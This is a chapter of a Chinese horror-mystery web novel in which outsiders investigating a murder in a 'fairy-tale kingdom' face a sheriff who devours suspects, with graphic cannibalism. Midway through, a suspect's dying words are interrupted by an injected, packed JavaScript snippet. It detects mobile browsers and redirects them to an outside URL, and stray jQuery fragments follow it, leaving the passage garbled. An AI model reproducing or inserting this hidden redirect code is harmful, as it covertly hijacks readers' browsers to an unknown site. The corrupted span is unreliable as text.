叶清瑾是被清晨的第一缕油烟呛醒的,她发誓:昨天大暴雨,她肯定把窗子和门都关好了。
可房子毕竟称得上破败二字,扛住了昨晚的暴风雨,已经是可歌可泣了。
于是清晨的油烟便顺着门缝慢慢探进来,将二人呛醒。
李欣玥无奈地起床,说:“把房子建得正对厨房真是一个坏习惯。”
叶清瑾点了点头:“复议。”
此时,她们的房门被敲响了。
在得到许可之后,月影带着微笑入场,她换了一套新的衣服,更衬得她神采奕奕,“客人们,早餐已经做完了,等你们稍加洗漱之后便可以用餐,现在我把其他的客人叫起来。”
可立刻便有一个侍女惊讶地跑过来,他匆匆忙忙的汇报道:“月影小姐!月影小姐不好了!钱老爷他……他死了!”
叶清瑾和李欣玥交换了一个眼神,彼此都读懂了对方的意思——该来的终究还是来了。
月影的脸上划过一丝复杂的情绪,她冷静地吩咐女仆:“先把警长叫过来,我现在去叫最后一名女士起床。”
叶清瑾紧随其后地出去,却发现所有人都已到齐,松松散散地站在庭院外,相互讨论着什么。
显然刚刚女仆并不算小声的惊呼,让所有人都注意到了钱先生已经死了这个事实。
其中最引人注目的是一个身着西装的男子,他身材瘦长,穿着的西装似乎要将他整个人包裹一样,他一看到月影便不耐烦的问:“我叔叔到底怎么了?给我个交代!”
“钱硕先生,我们已经通知了警长,稍后我们便能了解钱先生的状况。”
钱硕不耐烦的撇了撇嘴:“整天在这打官腔,营造什么亲民形象呢?真以为自己能当得上庄园女主人吗?做梦吧你,财产都是我的。”
“在吵什么呢?”一个大腹便便的警长在女仆的带领下走了进来,“什么什么遗产的?钱先生刚走,你们就在这讨论遗产?”
钱硕的态度突然大变,他谄媚的跑到警长身边,用手指着月影说:“警长,就是这个外乡人!仗着自己在这干了几年了不起了,就想要我叔叔的遗产了,她怕是都不知道这个王国里的规定了。”
警长有点不耐烦的用手挥开了他,“好了好了,不用你多说,我自会明辨是非。”
“咳咳,”他扭动了自己的脖子,努力想营造出一种严肃的氛围,可由于身材肥胖的原因,他整个人就像是大型的鹦鹉,只能让头小范围的摇动。
“本警长不会放过任何一个坏人,也不会冤枉任何一个好人。我看你们都是外乡人,就先跟你们讲讲童话王国的法律吧。
南瓜马车的轱辘停,外乡客的脚印新。
曲奇城墙塌了角,卫兵先扣异乡帽。
外乡客,脚刚迈,先当坏人捆起来。
找证据,不费脑,外地来的他跑不了。
若问真凶在哪里?外乡人顶罪最合理!”
钱硕笑嘻嘻地盯着月影说:“月小姐,应该还没忘这个法律吧?”
说罢他又得意的看向了还在站着的众人:“也说你们呢!”
藏在人群中的周思礼也缓缓走了出来,他脸上一边带着对警长讨好的笑,一边趾高气昂地看着他们:“外乡人,人生最大的分水岭是羊水。”
警长不满的瞪了他们一眼:“我是警长还是你是警长?总而言之,言而总之,发生命案之后,处决外乡人的期限是……无限期。”
他的脸上散发出恶意的光。
“但请注意,这个无限期可不是说,你们可以永远调查下去,而是说……在死者死后的每一天,我便会挑选你们其中的一人处决,你们想查多久都行。”
他越说越兴奋,连眼睛都染成了红色,眼神中隐隐散发着贪婪的光,随着眼神的变化,他带着饥饿的眼神打量着众人。
“查案的工作就交给你们了,只要你们能说服我,你们就可以不用死,要不然……”
他的眼睛滴溜溜转了一圈,“我就会挑你们之中的其中一个人作为凶手,然后……再次处决。”
他微笑起来,笑容却夸张的能让人看清他嘴唇底下埋藏的尖牙。
“当然你们谁要是那么好心想要“自首”,我当然来者不拒。”
叶清瑾发誓,她看到这个所谓的警长咽了一口口水。
当然在听到这条法规的第1刻,她内心便源源不断的吐槽着:这么赤裸裸的法律吗?这童话王国怕是要完……
同样,在听完这段话后,马安眯了眯眼睛:“为什么本地人有保护权?我看他俩就挺可疑,你会不会判案啊?”
周思礼和钱硕满脸胀的通红,眼神中折射出恶毒的光。
“放肆!”警长大喊,“呀呀呀呀?还有人敢质疑我的决定?好好好,好好好,我决定了,若是找不出真凶,我将会把你处决了。”
突然,他仿佛遭受电击,一般疼痛得畏缩了一下。随即带着有点怨毒的眼神,凝视着苍穹,说:“先带你们看看现场,让你们死也死个明白。”
*
请问发生在钱风的书房,里面散乱了一地的东西,据目睹案发现场的女仆说,钱先生早起后会在书房里把玩他的金银珠宝,而她则是负责来给他送早茶的。
叶清瑾审视着地上的东西,保险箱里的东西全都洒落在地,散落着大量现金和金银珠宝,还有几条被扯断的带有家族标志的项链,其中项链被刻意的洒落在了钱先生的旁边。
但其中最引人注目的还是钱先生手上拿着的怀表,怀表上莹莹的绿色无疑在向他们宣告着一件事:我就是,周思礼先生的怀表。
叶清瑾挑了挑眉,这么低水准的嫁祸,她已经很少见了。
周思礼里大惊失色:“它……它怎么会在这里?是你们谁把他偷了,放在这个人手上的!”
他立刻心疼的拿起那块怀表,抚摸着已经被磕碎的翡翠:“真是不识货!这可是货真价实的翡翠。”
叶清瑾笑了笑:“周先生,可要记得保护犯罪现场啊,不然,您的嫌疑将会增大。”
马安挑了挑眉,紧随其后,“杀人凶手就是你吧,周先生,这么着急破坏现场。”
说罢,他又用手指了指那一串散落的项链,“把保险柜的东西倒出来,伪装成丢失了大量钱款的样子,伪装成凶手是想谋财害命。但是你又刻意避开了带有家族印记的项链,还把他扯烂,丢在周先生身边,这种侮辱性行为,正说明他并不是谋财害命,他是想寻仇。”
周思礼的金牙在灯光下闪烁着劣质的光:“证据呢?我还是头一次,听说靠猜就能定罪的。”
安冉看着周思礼说:“衣服。”
周思礼一脸不耐地看着她:你在说什么?”
“我说衣服,昨天晚上是暴风雨之夜,你没想到昨天突然会下雨,如果你潜入了这个宅子里,你一定会弄湿自己的衣服!”
周思礼轻笑一声,嘴里的金牙闪闪发光,透露出恶劣的味道:“可以!你当然可以验证你的猜想,那你也要先付出你的代价,比如——你的一只手怎么样?”
“如果你猜错了,我就会真的把你吃掉哦。”他突然开始怪笑起来。
安冉似乎害怕的畏缩了一下,她靠着李欣玥,用楚楚可怜的眼神寻求着她的庇佑。
周思礼脸上的微笑越来越大,他忽然把手伸向了安然的左手,狂热的打量着:“真是鲜活,真是美妙,如果你愿意把这个献给我,我就答应你的请求,怎么样?”
眼见他眼中的贪婪越来越重,警长过去狠狠的踹了他一脚。他被踹翻在地,眼神中还流露着迷茫。
警长冷冰冰的开口:“你忘记之前那件事了?规矩!”
周思礼的眼神立刻清澈了起来,他瞳孔晃动着,似乎带着一丝害怕。
他马上爬了起来,拍了拍身上的灰尘,“呵!真不死心,那今天就让你死也死个明白。”
他舔了舔嘴唇,眼神在安然身上打转,说“我马上就可以吃掉你了哦,哈哈哈哈哈哈,四脚羊。”
李欣玥终究是心中不忍,她抱紧这个依偎在她身边的女孩,却又好像无能为力。
马安不屑地看了周思礼一眼说:“装腔作势?谁知道你有没有处理掉?”
周思礼却充耳不闻,慢慢悠悠地带领大家来到他的房子前:“搜吧。”他的眼神中带着势在必得的神情。
周思礼的住处与其说是房子,倒不如说是垃圾场。衣服和生活用品重重叠叠,有些部分还散发着恶臭,饶是叶清瑾,也为这位周先生的健康捏了一把汗。
众人搜索了一番后,徐勇看着眼前越发杂乱无章的房子,开口道:“周先生,哪怕我们所有人合力,估计也难从这堆垃圾堆里找出一套湿透的衣服吧。”
“那便是你们的事了,早说过了,想冤枉我,没那么简单。”他满脸横肉的脸上明明白白的呈现出了恶意。
叶清瑾笑了笑:“这里没有线索,也许我们可以看看屋外,毕竟大雨会隐藏一切线索,也许,也很适合用来隐藏赃物。”
她看着院子里的植物,看着月影说:“月影小姐,在这附近最近有新翻土的地方或者移植植物的地方吗?”
被突如其来的问题让刚刚在发呆月影猛的回魂,她重新整理了一下自己的表情,说道:“有的,距离周先生最近的那处便是那里。”
叶清瑾仔细看了看了一下她所指的地点,正好在周思礼的屋子和他们的屋子连线的1/2处,甚至更为偏向她们的房间。
她伸手挖了挖土,泥土松软,感觉确实有人曾经在这里埋藏过什么。
月影立刻吩咐其他仆人将此处挖开,果然找到了一套睡衣,与昨天周思礼身上穿着的是同一款,上面还带有一丝淡淡的血迹。
周思礼惊恐的看着这件衣服,却又愤怒的咆哮到:“不是!不是我干的!有人要陷害我。”
他气势汹汹的走到安冉,吼叫道:“是不是你想陷害我?你们这些外乡人果然没一个好东西!”
林鹤归这时却站了出来:“平心而论,我们都只是昨天刚刚到达的游客,从哪儿得到这件衣服?又从哪儿的这件衣服是您的呢?”
周思礼惊恐的看向警长,却看到警长脸上一副即将被说服的样子。
“不!不是我!有人陷害我!你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412511|184661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……”
“嗝!”
周思礼痛苦的遗言还没说完,众人就见警长似乎变了一个模样,他的身材越涨越大,越涨越大,似乎变成了一个饱满的球。
然后他轻轻的张开嘴巴,“噗!”周思礼像是一个气球一样,在警长的口中炸开,血液奔流出来,染红了刚刚挖开的土地。
警长有点满意地抚摸着重新变得圆滚滚的肚子,慢慢缩回成他原来的体型。
“做的不错,可算是吃饱了。”他满意的摸着已经被染成血色的胡子,看着众人,“只是……还差一个,根据我们王国的法律,你们今天查了一天案子,还需要再死一个人。”
叶清瑾能从他腥臭的嘴里看见卡在牙缝中的肉屑,她摸了摸藏在口袋里的纸条。
她一开始没有拿出这个纸条,就是因为她想看看,这下陷世界的游戏规则到底是什么样的,是真的要找到真凶还是,顺应人物的欲望。
利用别人的欲望,可以达成自己所有的目的。
徐勇不安地说:“可是,可是我们没有查那么久。”
警长笑了笑,“对不起,好像没有跟你们说,一切解释权归我所有,谁叫,我是警长呢?”
看着警长的眼神在他们身上打转,叶清瑾拿出了那张李欣玥昨天找到的字条,他将这张纸条递给了众人:“这张字条,是昨天李欣玥在盥洗室找到的,因为今天事情发生的太赶了,所以还没来得及拿出来。可看看上面的原因,我们有理由怀疑,另一位钱先生也有作案动机。”
警长高兴起来:“噢?还有这样的事?也就是说,他才是真正的凶手喽?”
警长的眼睛隐隐又有变红的趋势。
钱硕顶着众人凝视的眼神,脑袋上冒出了细汗:“哟,警长!你可不能听他们乱说,那纸条不是我的,我可没写过。”
警长恶狠狠的抢过纸条,仔细端详了一段后,把纸条塞进他的手里:“你自己看看上面是不是你的字,以为我老年痴呆了吗?想蒙骗我?”
马安在一旁落井下石的说:“哟,真没想到你是这种人啊!偷了周先生的东西陷害他,这下怕是自己也得给他陪葬了。”
“不!不是我!”
比钱硕声嘶力竭的控诉更恐怖的,是警长抓住他后,发出的咀嚼人//骨的声音。
叶清瑾笑了笑,现在的警长已经杀红了眼了,之前可能还要结合一些人证物证和作案动机,可现在给他一个合理的理由,他便会把人一个个吃掉。
所以无论这个钱硕如何辩白,都逃不过这一劫。
警长最后抹了抹嘴巴,“总算是吃了个饱饭。”
他恶意满满的眼神,又在他们身上打转。
但是叶清瑾很清楚的知道,他不可能再吃人了,因为:他也受规则的限制,而且他们都畏惧规则。
突然,他笑了笑,贼兮兮的眼睛直勾勾的盯着马安:“话说,这位钱风钱先生,应该是昨天死的吧,那么,应该算两天!”
当他说出这句话时,他警惕的看了看周围的环境,无事发生。
他立刻哈哈大笑起来,“两天!两天!”
他的眼睛立刻又变得腥红,他的身体又开始拼命膨胀起来,这一次跟前几次不同的是:他的身子不再只是圆滚滚的,而是长出了尖锐的毛发,他脖子上的红丝带真正的成为了一条蛇,吐着鲜红的信子。
那条蛇的目的明确,他直直的冲着马安前来。
马安气的直骂:“不就顶了你一句吗?记到现在,你真是脑袋有问题吧!”
那条蛇慢慢的从警长的身上爬下来,从脖子衣领手臂,叶清瑾也看到了警长的脖子上缝着密密麻麻的细线。
那条蛇的游动速度越来越快,眼看马安已避无可避。
这时,徐勇突然向前走了两步,他的眼神空洞而麻木,自言自语般说着:“大人,我愿意献祭自己。”
他一字一顿,声音如机器人般嘶哑难听。
听到献祭这两个字,明明已经到马鞍面前的红蛇立刻停止前进,转而迅速的爬到了徐勇面前。
诡异的是,面对这个即将属于他的猎物,他反而变得极致温柔,它顺着徐勇的裤腿爬上去,大腿,腰部,胸膛,再到脖子。
他亮晶晶的鳞片上太阳折射出五彩的光,最后他温柔的盘旋在了徐勇的脖子上,咬了一口。
徐勇立刻软绵绵的倒了下去,警长得意的笑出了声:“好好好,好久没见到愿意做祭品的储备粮了。”
他拎着已经不省人事的徐勇,哼着歌离开了这里。
叶清瑾转头时便能看到胡子敬隐忍的眼神,最终他还是走到了马安面前,狠狠的打了一拳。
“你明明答应过我再也不会用这些阴损的招数了!圈养人偶,我费尽心思地拿来供你活命的东西,你拿去操控别人!”
马安擦了擦嘴边的血,冷笑着说:“装什么好人?我刚刚快死了,也没见你出手啊。你叫我不能这不能那,可没有,我刚刚那一招我早死了。
别再拿着你那恶心的救命之恩跟我谈条件了,那是你欠我的。”
马安说完,冷漠的转身离开。